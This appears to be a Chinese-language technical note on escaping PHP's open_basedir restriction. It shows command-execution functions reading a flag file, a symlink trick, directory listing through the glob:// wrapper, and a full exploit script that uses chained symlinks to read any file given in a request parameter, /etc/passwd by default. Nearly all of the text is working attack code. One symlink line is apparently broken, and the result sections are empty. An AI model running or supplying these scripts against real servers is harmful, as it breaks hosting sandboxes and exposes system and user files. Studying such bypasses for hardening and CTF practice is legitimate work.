1. 命令执行函数
open_basedir的设置对系统命令执行函数无效
<?php
$cmd="cat ../1.txt";
file_get_contents($cmd);
echo"file_get_contents finsh"."\n"."-----------------------"."\n";
system($cmd);
echo shell_exec($cmd);
echo exec($cmd)."\n";
passthru($cmd);
$fp = popen($cmd,"r");
while (!feof($fp)) {
$out = fgets($fp, 4096);
echo $out;
}
pclose($fp);
echo"Rce finsh"."\n"."-----------------------"."\n";
"1.txt"文件内容为flag字符串,执行结果:
2. symlink函数
<?php
mkdir("a");
chdir("a");
mkdir("b");
chdir("b");
chdir("../../");
symlink("a/b","link");
symlink("link/../../1.txt","wa1ki0g");
unlink("link");
mkdir("link");
echo file_put_contents("./wa1ki0g");
?>
运行结果:
3. glob伪协议 glob是php自5.3.0版本起开始生效的一个用来筛选目录的伪协议,由于它在筛选目录时是不受open_basedir的制约的
<?php
$a = "glob:///Applications/phpstudy/WWW/test/*";
if ( $b = opendir($a) ) {
while ( ($file = readdir($b)) !== false ) {
echo "filename:".$file."\n";
}
closedir($b);
}
?>
执行结果:
- php5.x exp
p神的博客,也是软链接,原理跟2有点相似
<?php
header('content-type: text/plain');
error_reporting(-1);
ini_set('display_errors', TRUE);
printf("open_basedir: %s\nphp_version: %s\n", ini_get('open_basedir'), phpversion());
printf("disable_functions: %s\n", ini_get('disable_functions'));
$file = str_replace('\\', '/', isset($_REQUEST['file']) ? $_REQUEST['file'] : '/etc/passwd');
$relat_file = getRelativePath(__FILE__, $file);
$paths = explode('/', $file);
$name = mt_rand() % 999;
$exp = getRandStr();
mkdir($name);
chdir($name);
for($i = 1 ; $i < count($paths) - 1 ; $i++){
mkdir($paths[$i]);
chdir($paths[$i]);
}
mkdir($paths[$i]);
for ($i -= 1; $i > 0; $i--) {
chdir('..');
}
$paths = explode('/', $relat_file);
$j = 0;
for ($i = 0; $paths[$i] == '..'; $i++) {
mkdir($name);
chdir($name);
$j++;
}
for ($i = 0; $i <= $j; $i++) {
chdir('..');
}
$tmp = array_fill(0, $j + 1, $name);
symlink(implode('/', $tmp), 'tmplink');
$tmp = array_fill(0, $j, '..');
symlink('tmplink/' . implode('/', $tmp) . $file, $exp);
unlink('tmplink');
mkdir('tmplink');
delfile($name);
$exp = dirname($_SERVER['SCRIPT_NAME']) . "/{$exp}";
$exp = "http://{$_SERVER['SERVER_NAME']}{$exp}";
echo "\n-----------------content---------------\n\n";
echo file_get_contents($exp);
delfile('tmplink');
function getRelativePath($from, $to) {
$from = rtrim($from, '\/') . '/';
$from = str_replace('\\', '/', $from);
$to = str_replace('\\', '/', $to);
$from = explode('/', $from);
$to = explode('/', $to);
$relPath = $to;
foreach($from as $depth => $dir) {
if($dir === $to[$depth]) {
array_shift($relPath);
} else {
$remaining = count($from) - $depth;
if($remaining > 1) {
$padLength = (count($relPath) + $remaining - 1) * -1;
$relPath = array_pad($relPath, $padLength, '..');
break;
} else {
$relPath[0] = './' . $relPath[0];
}
}
}
return implode('/', $relPath);
}
function delfile($deldir){
if (@is_file($deldir)) {
@chmod($deldir,0777);
return @unlink($deldir);
}else if(@is_dir($deldir)){
if(($mydir = @opendir($deldir)) == NULL) return false;
while(false !== ($file = @readdir($mydir)))
{
$name = File_Str($deldir.'/'.$file);
if(($file!='.') && ($file!='..')){delfile($name);}
}
@closedir($mydir);
@chmod($deldir,0777);
return @rmdir($deldir) ? true : false;
}
}
function File_Str($string)
{
return str_replace('//','/',str_replace('\\','/',$string));
}
function getRandStr($length = 6) {
$chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$randStr = '';
for ($i = 0; $i < $length; $i++) {
$randStr .= substr($chars, mt_rand(0, strlen($chars) - 1), 1);
}
return $randStr;
}
执行结果:
|